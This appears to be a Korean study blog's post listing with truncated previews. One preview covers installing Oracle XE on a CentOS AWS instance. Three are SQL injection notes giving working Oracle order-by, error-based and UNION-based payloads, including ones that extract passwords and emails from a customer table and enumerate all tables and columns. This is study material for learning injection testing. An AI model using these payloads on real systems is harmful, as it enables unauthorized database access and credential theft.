공부/혼자 삽질 보관함 4

AWS에 CentOS,Oracle 환경구축

센토스(센트 os)는 알아서 깔자 센토스(멘토스 아님) 시간설정 ln -sf /usr/share/zoneinfo/Asia/Seoul /etc/localtime sudo passwd root 루트 비번 만들기 루트 접속 https://sundries-in-myidea.tistory.com/102 스왑공간 만들어주기 오라클 설치 윈도우에서 오라클.rpm.zip 옮기기 scp -i "majun.pem" .\oracle-xe-11.2.0-1.0.x86_64.rpm.zip\ centos@ec2-3-38-252-203.ap-northeast-2.compute.amazonaws.com:/home/centos centos에서 unzip깔기 yum -y install unzip unzip 오라클.rpm.zip로 압축풀기..

[SQL Injection] order by

컬럼 명을 알때 order by (case when 1=1 then 컬럼명 else 컬럼명2 end) 컬럼명 1로 정렬됨 order by (case when 1=2 then 컬럼명 else 컬럼명2 end) 컬럼명 2로 정렬됨 컬럼 명을 모를때 order by (case when 1=1 then 1 else 1/0 end) 무언가로 정렬됨 order by (case when 1=2 then 1 else 1/0 end) 1/0이 무한대가 되면서 터져버리고 오류가남 ( db종류와 버전에따라 다름) DB별 함수 차이 오라클 substr(user,1,1) MYSQL substr(user(),1,1) MaridDB 아마 MS SQL 인 것 같음 substring(user,1,1) substring(DB_NAME(..

[SQL Injection] err based

에러베이스드 테스트 ' and ctxsys.drithsx.sn(user,(select password from customer where name='mas9623'))=1 -- ' and ctxsys.drithsx.sn(user,(select email from customer where name='12345'))=1 -- ' and UTL_INADDR.GET_HOST_NAME((select password from customer where name="123123")) 됨 UTL_INAADR.GET_HOST_ADDRESS((원하는 서브쿼리 내용)) ORDSYS.ORD_DICOM.GETMAPPINGXPATH((원하는 서브쿼리 내용),user,user) CTXSYS.DRITHSX.SN(user,(원하는 서..

[SQL Injection] Union based

모든 컬럼명 조회 ' union select '1','2', '3', '4', '5', '6', '7', '8', '9',column_name FROM all_tab_columns -- 모든 BD명 조회 ' union select '1','2', '3', '4', '5', '6', '7', '8', '9',owner FROM all_tables -- 모든 테이블 조회 ' union select '1','2', '3', '4', '5', '6', '7', '8', '9',table_name FROM all_tables -- 현재 DB에 있는 테이블 조회 ' union select '1','2', '3', '4', '5', '6', '7', '8', '9',tname FROM tab --